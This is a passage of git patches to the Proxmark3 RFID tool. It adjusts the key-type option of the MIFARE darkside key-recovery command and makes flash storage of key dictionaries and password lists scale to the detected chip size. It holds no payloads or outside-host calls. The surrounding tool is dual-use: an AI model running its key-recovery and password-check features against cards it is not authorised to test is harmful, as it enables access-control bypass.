b/client/src/cmdhfmf.c index fdbd2ffb7..c93093dea 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -883,23 +883,28 @@ static int CmdHF14AMfDarkside(const char *Cmd) { arg_param_begin, arg_int0(NULL, "blk", " ", "Target block"), arg_lit0("b", NULL, "Target key B instead of default key A"), - arg_int0("c", NULL, "", "Target Auth 6x"), + arg_int0("c", NULL, "", "Target key type is key A + offset"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); uint8_t blockno = arg_get_u32_def(ctx, 1, 0) & 0xFF; - uint8_t key_type = MIFARE_AUTH_KEYA; + uint8_t key_type = MF_KEY_A; if (arg_get_lit(ctx, 2)) { PrintAndLogEx(INFO, "Targeting key B"); - key_type = MIFARE_AUTH_KEYB; + key_type = MF_KEY_B; } - uint8_t ctype = arg_get_u32_def(ctx, 3, 0) & 0xFF; - if ((ctype & 0x60) == 0x60) { - key_type = ctype; + uint8_t prev_keytype = key_type; + key_type = arg_get_int_def(ctx, 3, key_type); + if (arg_get_lit(ctx, 2) && (key_type != prev_keytype)) { + CLIParserFree(ctx); + PrintAndLogEx(WARNING, "Choose one single target key type"); + return PM3_EINVARG; } + // mf_dark_side expects the full command byte 0x6x + key_type += MIFARE_AUTH_KEYA; CLIParserFree(ctx); @@ -1002,7 +1007,12 @@ static int CmdHF14AMfWrBl(const char *Cmd) { return PM3_EINVARG; } - PrintAndLogEx(INFO, "Writing block no %d, key %c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + if (keytype < 2) { + PrintAndLogEx(INFO, "Writing block no %d, key type:%c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + } else { + PrintAndLogEx(INFO, "Writing block no %d, key type:%02x - %s", blockno, MIFARE_AUTH_KEYA + keytype, sprint_hex_inrow(key, sizeof(key))); + } + PrintAndLogEx(INFO, "data: %s", sprint_hex(block, sizeof(block))); uint8_t data[26]; @@ -9303,7 +9313,11 @@ static int CmdHF14AMfValue(const char *Cmd) { } else { cmddata[10] = 0; - PrintAndLogEx(INFO, "Writing block no %u, key %c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + if (keytype < 2) { + PrintAndLogEx(INFO, "Writing block no %u, key type:%c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + } else { + PrintAndLogEx(INFO, "Writing block no %u, key type:%02x - %s", blockno, MIFARE_AUTH_KEYA + keytype, sprint_hex_inrow(key, sizeof(key))); + } } memcpy(cmddata + 11, block, sizeof(block)); From 48ec109a1ef0eb814950c0c658799aa75136f464 Mon Sep 17 00:00:00 2001 From: ANTodorov Date: Sun, 17 Nov 2024 18:32:11 +0200 Subject: [PATCH 148/155] use all spi flash v0.1 * introduced a new communication command CMD_FLASHMEM_PAGES64K to get the number of 64k pages * "the last page" is a special, holding the dicts and some other stuff, relocated to there * raised timeout when wiping a mem page (W25Q16 looks a bit slower than W25X20BV) * loop all pages in Flash_WipeMemory() --- CHANGELOG.md | 1 + armsrc/appmain.c | 21 +++++++++-- armsrc/spiffs.c | 1 - armsrc/spiffs_config.h | 2 +- client/src/cmdflashmem.c | 73 +++++++++++++++++++++++++++++++------ client/src/cmdflashmem.h | 1 + common_arm/flashmem.c | 77 +++++++++++++++++++++++++++++----------- common_arm/flashmem.h | 31 ++++++++++++++++ include/pm3_cmd.h | 1 + include/pmflash.h | 21 +++++++++++ 10 files changed, 193 insertions(+), 36 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f7bd57785..f9e101fa7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Use all available space from the SPI flash (@ANTodorov) - Fixed wrong size check in MifareSim (@iceman1001) - Fixed `hf mf sim` not to respond to authentication attempts for sectors out of bound for selected Mifare type (@piotrva) - Added option to build against non-default python3 with CMake as well (@doegox) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index e019f14a5..b0abe6bc1 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -2789,7 +2789,7 @@ static void PacketReceived(PacketCommandNG *packet) { LED_B_OFF(); break; } - if (page < 3) { + if (page < spi_flash_p64k-1) { isok = Flash_WipeMemoryPage(page); // let spiffs check and update its info post flash erase rdv40_spiffs_check(); @@ -2836,7 +2836,7 @@ static void PacketReceived(PacketCommandNG *packet) { LED_B_ON(); rdv40_validation_t *info = (rdv40_validation_t *)BigBuf_malloc(sizeof(rdv40_validation_t)); - bool isok = Flash_ReadData(FLASH_MEM_SIGNATURE_OFFSET, info->signature, FLASH_MEM_SIGNATURE_LEN); + bool isok = Flash_ReadData(FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_p64k), info->signature, FLASH_MEM_SIGNATURE_LEN); if (FlashInit()) { Flash_UniqueID(info->flashid); @@ -2845,6 +2845,23 @@ static void PacketReceived(PacketCommandNG *packet) { reply_mix(CMD_ACK, isok, 0, 0, info, sizeof(rdv40_validation_t)); BigBuf_free(); + LED_B_OFF(); + break; + } + case CMD_FLASHMEM_PAGES64K: { + + LED_B_ON(); + + bool isok = false; + if (FlashInit()) { + isok = true; + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf(" CMD_FLASHMEM_PAGE64K 0x%02x (%d 64k pages)", spi_flash_p64k, spi_flash_p64k); + } + FlashStop(); + } + reply_mix(CMD_ACK, isok, 0, 0, &spi_flash_p64k, sizeof(uint8_t)); + LED_B_OFF(); break; } diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c index 7604f6db7..9c5f96042 100644 --- a/armsrc/spiffs.c +++ b/armsrc/spiffs.c @@ -18,7 +18,6 @@ // SPIFFS api for RDV40 Integration //----------------------------------------------------------------------------- -#define SPIFFS_CFG_PHYS_SZ (1024 * 192) #define SPIFFS_CFG_PHYS_ERASE_SZ (4 * 1024) #define SPIFFS_CFG_PHYS_ADDR (0) #define SPIFFS_CFG_LOG_PAGE_SZ (256) diff --git a/armsrc/spiffs_config.h b/armsrc/spiffs_config.h index f1d54a471..1e00afc3c 100644 --- a/armsrc/spiffs_config.h +++ b/armsrc/spiffs_config.h @@ -236,7 +236,7 @@ typedef uint8_t u8_t; // Instead of giving parameters in config struct, singleton build must // give parameters in defines below. #ifndef SPIFFS_CFG_PHYS_SZ -#define SPIFFS_CFG_PHYS_SZ(ignore) (1024*192) +#define SPIFFS_CFG_PHYS_SZ(ignore) (1024 * 64 * (spi_flash_p64k - 1)) #endif #ifndef SPIFFS_CFG_PHYS_ERASE_SZ #define SPIFFS_CFG_PHYS_ERASE_SZ(ignore) (4*1024) diff --git a/client/src/cmdflashmem.c b/client/src/cmdflashmem.c index a43989886..a87f62a18 100644 --- a/client/src/cmdflashmem.c +++ b/client/src/cmdflashmem.c @@ -50,6 +50,29 @@ static int CmdHelp(const char *Cmd); //------------------------------------------------------------------------------------- +int rdv4_get_flash_pages64k(uint8_t *pages64k) { + if (pages64k == NULL) { + return PM3_EINVARG; + } + + clearCommandBuffer(); + SendCommandNG(CMD_FLASHMEM_PAGES64K, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "rdv4_get_flash_pages64k() timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + uint8_t isok = resp.oldarg[0] & 0xFF; + if (isok == false) { + PrintAndLogEx(FAILED, "fail reading from flash (pages 64k)"); + return PM3_EFLASH; + } + + memcpy(pages64k, (uint8_t *)resp.data.asBytes, sizeof(uint8_t)); + return PM3_SUCCESS; +} + int rdv4_get_signature(rdv40_validation_t *out) { if (out == NULL) { return PM3_EINVARG; @@ -98,8 +121,16 @@ int rdv4_validate(rdv40_validation_t *mem) { } static int rdv4_sign_write(uint8_t *signature, uint8_t slen) { + + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to get flash pages (%x)", res); + return res; + } + flashmem_old_write_t payload = { - .startidx = FLASH_MEM_SIGNATURE_OFFSET, + .startidx = FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages), .len = FLASH_MEM_SIGNATURE_LEN, }; memcpy(payload.data, signature, slen); @@ -201,15 +232,21 @@ static int CmdFlashMemLoad(const char *Cmd) { PrintAndLogEx(INFO, "treating file as T55xx passwords"); } + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to get flash pages count (%x)", res); + return res; + } + size_t datalen = 0; uint32_t keycount = 0; - int res = 0; uint8_t keylen = 0; - uint8_t *data = calloc(FLASH_MEM_MAX_SIZE, sizeof(uint8_t)); + uint8_t *data = calloc(FLASH_MEM_MAX_SIZE_P(spi_flash_pages), sizeof(uint8_t)); switch (d) { case DICTIONARY_MIFARE: - offset = DEFAULT_MF_KEYS_OFFSET; + offset = DEFAULT_MF_KEYS_OFFSET_P(spi_flash_pages); keylen = 6; res = loadFileDICTIONARY(filename, data + 2, &datalen, keylen, &keycount); if (res || !keycount) { @@ -227,7 +264,7 @@ static int CmdFlashMemLoad(const char *Cmd) { datalen += 2; break; case DICTIONARY_T55XX: - offset = DEFAULT_T55XX_KEYS_OFFSET; + offset = DEFAULT_T55XX_KEYS_OFFSET_P(spi_flash_pages); keylen = 4; res = loadFileDICTIONARY(filename, data + 2, &datalen, keylen, &keycount); if (res || !keycount) { @@ -245,7 +282,7 @@ static int CmdFlashMemLoad(const char *Cmd) { datalen += 2; break; case DICTIONARY_ICLASS: - offset = DEFAULT_ICLASS_KEYS_OFFSET; + offset = DEFAULT_ICLASS_KEYS_OFFSET_P(spi_flash_pages); res = loadFileDICTIONARY(filename, data + 2, &datalen, keylen, &keycount); if (res || !keycount) { free(data); @@ -268,7 +305,7 @@ static int CmdFlashMemLoad(const char *Cmd) { return PM3_EFILE; } - if (datalen > FLASH_MEM_MAX_SIZE) { + if (datalen > FLASH_MEM_MAX_SIZE_P(spi_flash_pages)) { PrintAndLogEx(ERR, "error, filesize is larger than available memory"); free(data); return PM3_EOVFLOW; @@ -351,8 +388,15 @@ static int CmdFlashMemDump(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to get flash pages count (%x)", res); + return res; + } + int offset = arg_get_int_def(ctx, 1, 0); - int len = arg_get_int_def(ctx, 2, FLASH_MEM_MAX_SIZE); + int len = arg_get_int_def(ctx, 2, FLASH_MEM_MAX_SIZE_P(spi_flash_pages)); bool view = arg_get_lit(ctx, 3); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; @@ -409,15 +453,22 @@ static int CmdFlashMemWipe(const char *Cmd) { // initialwipe = arg_get_lit(ctx, 2); CLIParserFree(ctx); - if (page < 0 || page > 2) { - PrintAndLogEx(WARNING, "page must be 0, 1 or 2"); + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to get flash pages count (%x)", res); + return res; + } + + if (page < 0 || page > (spi_flash_pages - 1)) { + PrintAndLogEx(WARNING, "page must be between 0 and %d", spi_flash_pages - 1); return PM3_EINVARG; } clearCommandBuffer(); SendCommandMIX(CMD_FLASHMEM_WIPE, page, initialwipe, 0, NULL, 0); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 8000)) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 10000)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); return PM3_ETIMEOUT; } diff --git a/client/src/cmdflashmem.h b/client/src/cmdflashmem.h index 60bdd5857..ad8727204 100644 --- a/client/src/cmdflashmem.h +++ b/client/src/cmdflashmem.h @@ -32,4 +32,5 @@ typedef enum { int CmdFlashMem(const char *Cmd); int rdv4_get_signature(rdv40_validation_t *out); int rdv4_validate(rdv40_validation_t *mem); +int rdv4_get_flash_pages64k(uint8_t *pages64k); #endif diff --git a/common_arm/flashmem.c b/common_arm/flashmem.c index 5aaac347a..b6ff47fce 100644 --- a/common_arm/flashmem.c +++ b/common_arm/flashmem.c @@ -43,6 +43,8 @@ static uint32_t FLASHMEM_SPIBAUDRATE = FLASH_BAUD; #ifndef AS_BOOTROM +uint8_t spi_flash_p64k = 0; + void FlashmemSetSpiBaudrate(uint32_t baudrate) { FLASHMEM_SPIBAUDRATE = baudrate; Dbprintf("Spi Baudrate : %dMHz", FLASHMEM_SPIBAUDRATE / 1000000); @@ -144,14 +146,15 @@ uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len) { return 0; } - // out-of-range - if (((address >> 16) & 0xFF) > MAX_BLOCKS) { - Dbprintf("Flash_WriteData, block out-of-range"); + if (!FlashInit()) { + if (g_dbglevel > 3) Dbprintf("Flash_WriteData init fail"); return 0; } - if (!FlashInit()) { - if (g_dbglevel > 3) Dbprintf("Flash_WriteData init fail"); + // out-of-range + if (((address >> 16) & 0xFF) > spi_flash_p64k) { + Dbprintf("Flash_WriteData, block out-of-range %02x > %02x", (address >> 16) & 0xFF, spi_flash_p64k); + FlashStop(); return 0; } @@ -187,8 +190,8 @@ uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len) { return 0; } - if (((address >> 16) & 0xFF) > MAX_BLOCKS) { - Dbprintf("Flash_WriteDataCont, block out-of-range"); + if (((address >> 16) & 0xFF) > spi_flash_p64k) { + Dbprintf("Flash_WriteDataCont, block out-of-range %02x > %02x", (address >> 16) & 0xFF, spi_flash_p64k); return 0; } @@ -266,18 +269,11 @@ bool Flash_WipeMemory(void) { // Each block is 64Kb. Four blocks // one block erase takes 1s ( 1000ms ) - Flash_WriteEnable(); - Flash_Erase64k(0); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase64k(1); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase64k(2); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase64k(3); - Flash_CheckBusy(BUSY_TIMEOUT); + for (uint8_t i=0; i < spi_flash_p64k; i++) { + Flash_WriteEnable(); + Flash_Erase64k(i); + Flash_CheckBusy(BUSY_TIMEOUT); + } FlashStop(); return true; @@ -293,7 +289,7 @@ void Flash_WriteEnable(void) { // execution time: 0.8ms / 800us bool Flash_Erase4k(uint8_t block, uint8_t sector) { - if (block > MAX_BLOCKS || sector > MAX_SECTORS) return false; + if (block > spi_flash_p64k || sector > MAX_SECTORS) return false; FlashSendByte(SECTORERASE); FlashSendByte(block); @@ -328,7 +324,7 @@ bool Flash_Erase32k(uint32_t address) { // 0x03 00 00 -- 0x 03 FF FF == block 3 bool Flash_Erase64k(uint8_t block) { - if (block > MAX_BLOCKS) return false; + if (block > spi_flash_p64k) return false; FlashSendByte(BLOCK64ERASE); FlashSendByte(block); @@ -404,6 +400,7 @@ void Flashmem_print_status(void) { ); } } + Dbprintf(" Flash pages (64k)....... " _YELLOW_("0x%02x (%u)"), spi_flash_p64k, spi_flash_p64k); uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; Flash_UniqueID(uid); @@ -457,6 +454,38 @@ void Flashmem_print_info(void) { FlashStop(); } +//read spi flash JEDEC ID and fill the global variable spi_flash_p64k +bool FlashDetect(bool flash_init) { + flash_device_type_t flash_device = {0}; + + if (flash_init) { + if (!FlashInit()) { + if (g_dbglevel > 3) Dbprintf("FlashDetect() FlashInit fail"); + return 0; + } + } + + if (!Flash_ReadID(&flash_device, true)) { + if (g_dbglevel > 3) Dbprintf("Flash_ReadID failed"); + return false; + } + + uint32_t identifier = (flash_device.manufacturer_id <<16) + (flash_device.device_id <<8) + flash_device.device_id2; + int i = 0; + for (; i < ARRAYLEN(SpiFlashTable); i++) { + if (SpiFlashTable[i].identifier == identifier) { + break; + } + } + + spi_flash_p64k = SpiFlashTable[i].pages64; + + if (flash_init) { + FlashStop(); + } + return true; +} + #endif // #ifndef AS_BOOTROM @@ -471,6 +500,12 @@ bool FlashInit(void) { return false; } +#ifndef AS_BOOTROM + if (spi_flash_p64k == 0){ + if (!FlashDetect(false)) return 0; + } +#endif // #ifndef AS_BOOTROM + return true; } diff --git a/common_arm/flashmem.h b/common_arm/flashmem.h index 127ea43b0..5718963f3 100644 --- a/common_arm/flashmem.h +++ b/common_arm/flashmem.h @@ -145,6 +145,37 @@ uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len); void Flashmem_print_status(void); void Flashmem_print_info(void); +typedef struct spi_flash_s { + const uint32_t identifier; + const uint8_t pages64; + const char *desc; +} spi_flash_t; + +// spi_flash_t is expected to be NULL terminated +const static spi_flash_t SpiFlashTable[] = { + // Manufacturer: Puya + { 0x856015, 32, "P25Q16H" }, + // Manufacturer: Winbond + { 0xEF3012, 4, "W25X20BV" }, + { 0xEF3013, 8, "W25X40BV" }, + + { 0xEF4013, 8, "W25Q40BV" }, + { 0xEF4014, 16, "W25Q80BV" }, + { 0xEF4015, 32, "W25Q16BV" }, + { 0xEF4016, 64, "W25Q32BV" }, + + { 0xEF7022, 4, "W25Q02JV" }, + { 0x000000, 4, "Unknown!" } +}; + +#ifndef ARRAYLEN +# define ARRAYLEN(x) (sizeof(x)/sizeof((x)[0])) +#endif + +extern uint8_t spi_flash_p64k; + +bool FlashDetect(bool); + #endif // #ifndef AS_BOOTROM diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index c9cc314ce..0cfc9bfaa 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -433,6 +433,7 @@ typedef struct { #define CMD_FLASHMEM_DOWNLOADED 0x0124 #define CMD_FLASHMEM_INFO 0x0125 #define CMD_FLASHMEM_SET_SPIBAUDRATE 0x0126 +#define CMD_FLASHMEM_PAGES64K 0x0127 // RDV40, High level flashmem SPIFFS Manipulation // ALL function will have a lazy or Safe version diff --git a/include/pmflash.h b/include/pmflash.h index 65e373f8f..3d009fc9f 100644 --- a/include/pmflash.h +++ b/include/pmflash.h @@ -37,10 +37,16 @@ #ifndef FLASH_MEM_MAX_SIZE # define FLASH_MEM_MAX_SIZE 0x40000 // (262144) #endif +#ifndef FLASH_MEM_MAX_SIZE_P +# define FLASH_MEM_MAX_SIZE_P(p64k) (1024 * 64 * p64k) +#endif #ifndef FLASH_MEM_MAX_4K_SECTOR # define FLASH_MEM_MAX_4K_SECTOR 0x3F000 #endif +#ifndef FLASH_MEM_MAX_4K_SECTOR_P +# define FLASH_MEM_MAX_4K_SECTOR_P(p64k) (FLASH_MEM_MAX_SIZE_P(p64k) - 4096) +#endif #ifndef FLASH_MEM_ID_LEN # define FLASH_MEM_ID_LEN 8 @@ -54,6 +60,9 @@ // -1 for historical compatibility with already released Proxmark3 RDV4.0 devices # define FLASH_MEM_SIGNATURE_OFFSET (FLASH_MEM_MAX_SIZE - FLASH_MEM_SIGNATURE_LEN - 1) #endif +#ifndef FLASH_MEM_SIGNATURE_OFFSET_P +# define FLASH_MEM_SIGNATURE_OFFSET_P(p64k) (FLASH_MEM_MAX_SIZE_P(p64k) - FLASH_MEM_SIGNATURE_LEN - 1) +#endif #ifndef T55XX_CONFIG_LEN # define T55XX_CONFIG_LEN sizeof( t55xx_configurations_t ) @@ -62,6 +71,9 @@ #ifndef T55XX_CONFIG_OFFSET # define T55XX_CONFIG_OFFSET (FLASH_MEM_MAX_4K_SECTOR - 0x2000) #endif +#ifndef T55XX_CONFIG_OFFSET_P +# define T55XX_CONFIG_OFFSET_P(p64k) (FLASH_MEM_MAX_4K_SECTOR_P(p64k) - 0x2000) +#endif // Reserved space for T55XX PWD = 4 kb #ifndef DEFAULT_T55XX_KEYS_OFFSET @@ -69,6 +81,9 @@ # define DEFAULT_T55XX_KEYS_OFFSET (T55XX_CONFIG_OFFSET - DEFAULT_T55XX_KEYS_LEN) # define DEFAULT_T55XX_KEYS_MAX ((DEFAULT_T55XX_KEYS_LEN - 2) / 4) #endif +#ifndef DEFAULT_T55XX_KEYS_OFFSET_P +# define DEFAULT_T55XX_KEYS_OFFSET_P(p64k) (T55XX_CONFIG_OFFSET_P(p64k) - DEFAULT_T55XX_KEYS_LEN) +#endif // Reserved space for iClass keys = 4 kb #ifndef DEFAULT_ICLASS_KEYS_OFFSET @@ -76,6 +91,9 @@ # define DEFAULT_ICLASS_KEYS_OFFSET (DEFAULT_T55XX_KEYS_OFFSET - DEFAULT_ICLASS_KEYS_LEN) # define DEFAULT_ICLASS_KEYS_MAX ((DEFAULT_ICLASS_KEYS_LEN - 2) / 8) #endif +#ifndef DEFAULT_ICLASS_KEYS_OFFSET_P +# define DEFAULT_ICLASS_KEYS_OFFSET_P(p64k) (DEFAULT_T55XX_KEYS_OFFSET_P(p64k) - DEFAULT_ICLASS_KEYS_LEN) +#endif // Reserved space for MIFARE Keys = 12 kb #ifndef DEFAULT_MF_KEYS_OFFSET @@ -83,6 +101,9 @@ # define DEFAULT_MF_KEYS_OFFSET (DEFAULT_ICLASS_KEYS_OFFSET - DEFAULT_MF_KEYS_LEN) # define DEFAULT_MF_KEYS_MAX ((DEFAULT_MF_KEYS_LEN - 2) / 6) #endif +#ifndef DEFAULT_MF_KEYS_OFFSET_P +# define DEFAULT_MF_KEYS_OFFSET_P(p64k) (DEFAULT_ICLASS_KEYS_OFFSET_P(p64k) - DEFAULT_MF_KEYS_LEN) +#endif // RDV40, validation structure to help identifying that client/firmware is talking with RDV40 typedef struct { From 34e317a9dff530d79b30fe6bd6fbc6ff33390d60 Mon Sep 17 00:00:00 2001 From: ANTodorov Date: Sun, 17 Nov 2024 22:07:58 +0200 Subject: [PATCH 149/155] address review comments --- common_arm/flashmem.c | 9 ++++++--- include/pmflash.h | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/common_arm/flashmem.c b/common_arm/flashmem.c index b6ff47fce..4757a46d2 100644 --- a/common_arm/flashmem.c +++ b/common_arm/flashmem.c @@ -461,7 +461,7 @@ bool FlashDetect(bool flash_init) { if (flash_init) { if (!FlashInit()) { if (g_dbglevel > 3) Dbprintf("FlashDetect() FlashInit fail"); - return 0; + return false; } } @@ -483,6 +483,7 @@ bool FlashDetect(bool flash_init) { if (flash_init) { FlashStop(); } + return true; } @@ -501,8 +502,10 @@ bool FlashInit(void) { } #ifndef AS_BOOTROM - if (spi_flash_p64k == 0){ - if (!FlashDetect(false)) return 0; + if (spi_flash_p64k == 0) { + if (!FlashDetect(false)) { + return false; + } } #endif // #ifndef AS_BOOTROM diff --git a/include/pmflash.h b/include/pmflash.h index 3d009fc9f..d7791814f 100644 --- a/include/pmflash.h +++ b/include/pmflash.h @@ -38,7 +38,7 @@ # define FLASH_MEM_MAX_SIZE 0x40000 // (262144) #endif #ifndef FLASH_MEM_MAX_SIZE_P -# define FLASH_MEM_MAX_SIZE_P(p64k) (1024 * 64 * p64k) +# define FLASH_MEM_MAX_SIZE_P(p64k) (1024 * 64 * (p64k)) #endif #ifndef FLASH_MEM_MAX_4K_SECTOR From 861c7efd26a3a3d505e2687169129e4ef64e93bc Mon Sep 17 00:00:00 2001 From: ANTodorov Date: Sun, 17 Nov 2024 22:10:04 +0200 Subject: [PATCH 150/155] fix missing offsets the data was written, but it should be readable too... --- armsrc/appmain.c | 8 ++++---- armsrc/lfops.c | 4 ++-- armsrc/mifarecmd.c | 4 ++-- common_arm/flashmem.c | 6 +++--- 4 files changed, 11 insertions(+), 11 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index b0abe6bc1..152c15335 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -2748,11 +2748,11 @@ static void PacketReceived(PacketCommandNG *packet) { break; } - if (payload->startidx == DEFAULT_T55XX_KEYS_OFFSET) { + if (payload->startidx == DEFAULT_T55XX_KEYS_OFFSET_P(spi_flash_p64k)) { Flash_CheckBusy(BUSY_TIMEOUT); Flash_WriteEnable(); Flash_Erase4k(3, 0xC); - } else if (payload->startidx == DEFAULT_MF_KEYS_OFFSET) { + } else if (payload->startidx == DEFAULT_MF_KEYS_OFFSET_P(spi_flash_p64k)) { Flash_CheckBusy(BUSY_TIMEOUT); Flash_WriteEnable(); Flash_Erase4k(3, 0x8); @@ -2762,11 +2762,11 @@ static void PacketReceived(PacketCommandNG *packet) { Flash_CheckBusy(BUSY_TIMEOUT); Flash_WriteEnable(); Flash_Erase4k(3, 0xA); - } else if (payload->startidx == DEFAULT_ICLASS_KEYS_OFFSET) { + } else if (payload->startidx == DEFAULT_ICLASS_KEYS_OFFSET_P(spi_flash_p64k)) { Flash_CheckBusy(BUSY_TIMEOUT); Flash_WriteEnable(); Flash_Erase4k(3, 0xB); - } else if (payload->startidx == FLASH_MEM_SIGNATURE_OFFSET) { + } else if (payload->startidx == FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_p64k)) { Flash_CheckBusy(BUSY_TIMEOUT); Flash_WriteEnable(); Flash_Erase4k(3, 0xF); diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 137809524..b5567f020 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -2148,7 +2148,7 @@ void T55xx_ChkPwds(uint8_t flags, bool ledcontrol) { BigBuf_Clear_EM(); uint16_t isok = 0; uint8_t counter[2] = {0x00, 0x00}; - isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET, counter, sizeof(counter)); + isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET_P(spi_flash_p64k), counter, sizeof(counter)); if (isok != sizeof(counter)) goto OUT; @@ -2164,7 +2164,7 @@ void T55xx_ChkPwds(uint8_t flags, bool ledcontrol) { // adjust available pwd_count pwd_count = pwd_size_available / 4; - isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET + 2, pwds, pwd_size_available); + isok = Flash_ReadData(DEFAULT_T55XX_KEYS_OFFSET_P(spi_flash_p64k) + 2, pwds, pwd_size_available); if (isok != pwd_size_available) goto OUT; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 715b69132..034012fcf 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1789,7 +1789,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da BigBuf_free(); uint16_t isok = 0; uint8_t size[2] = {0x00, 0x00}; - isok = Flash_ReadData(DEFAULT_MF_KEYS_OFFSET, size, 2); + isok = Flash_ReadData(DEFAULT_MF_KEYS_OFFSET_P(spi_flash_p64k), size, 2); if (isok != 2) goto OUT; @@ -1808,7 +1808,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da if (datain == NULL) goto OUT; - isok = Flash_ReadData(DEFAULT_MF_KEYS_OFFSET + 2, datain, key_mem_available); + isok = Flash_ReadData(DEFAULT_MF_KEYS_OFFSET_P(spi_flash_p64k) + 2, datain, key_mem_available); if (isok != key_mem_available) goto OUT; diff --git a/common_arm/flashmem.c b/common_arm/flashmem.c index 4757a46d2..f81955236 100644 --- a/common_arm/flashmem.c +++ b/common_arm/flashmem.c @@ -428,7 +428,7 @@ void Flashmem_print_info(void) { uint16_t num; Flash_CheckBusy(BUSY_TIMEOUT); - uint16_t isok = Flash_ReadDataCont(DEFAULT_MF_KEYS_OFFSET, keysum, 2); + uint16_t isok = Flash_ReadDataCont(DEFAULT_MF_KEYS_OFFSET_P(spi_flash_p64k), keysum, 2); if (isok == 2) { num = ((keysum[1] << 8) | keysum[0]); if (num != 0xFFFF && num != 0x0) @@ -436,7 +436,7 @@ void Flashmem_print_info(void) { } Flash_CheckBusy(BUSY_TIMEOUT); - isok = Flash_ReadDataCont(DEFAULT_T55XX_KEYS_OFFSET, keysum, 2); + isok = Flash_ReadDataCont(DEFAULT_T55XX_KEYS_OFFSET_P(spi_flash_p64k), keysum, 2); if (isok == 2) { num = ((keysum[1] << 8) | keysum[0]); if (num != 0xFFFF && num != 0x0) @@ -444,7 +444,7 @@ void Flashmem_print_info(void) { } Flash_CheckBusy(BUSY_TIMEOUT); - isok = Flash_ReadDataCont(DEFAULT_ICLASS_KEYS_OFFSET, keysum, 2); + isok = Flash_ReadDataCont(DEFAULT_ICLASS_KEYS_OFFSET_P(spi_flash_p64k), keysum, 2); if (isok == 2) { num = ((keysum[1] << 8) | keysum[0]); if (num != 0xFFFF && num != 0x0) From d49e1f6af6f6e8743c5eff48026dc0557d681ab4 Mon Sep 17 00:00:00 2001 From: ANTodorov Date: Sun, 17 Nov 2024 22:12:28 +0200 Subject: [PATCH 151/155] remove unused definition --- include/pmflash.h | 4 ---- 1 file changed, 4 deletions(-) diff --git a/include/pmflash.h b/include/pmflash.h index d7791814f..bbed4b12e 100644 --- a/include/pmflash.h +++ b/include/pmflash.h @@ -112,9 +112,5 @@ typedef struct { uint8_t signature[FLASH_MEM_SIGNATURE_LEN]; } PACKED rdv40_validation_t; -// SPIFFS current allocates 192KB of the 256KB available. -#ifndef FLASH_SPIFFS_ALLOCATED_SIZE -# define FLASH_SPIFFS_ALLOCATED_SIZE (1024 * 192) -#endif #endif // __PMFLASH_H From 597bfd6d193500e84f75c25ac98fba9b60902f36 Mon Sep 17 00:00:00 2001 From: ANTodorov Date: 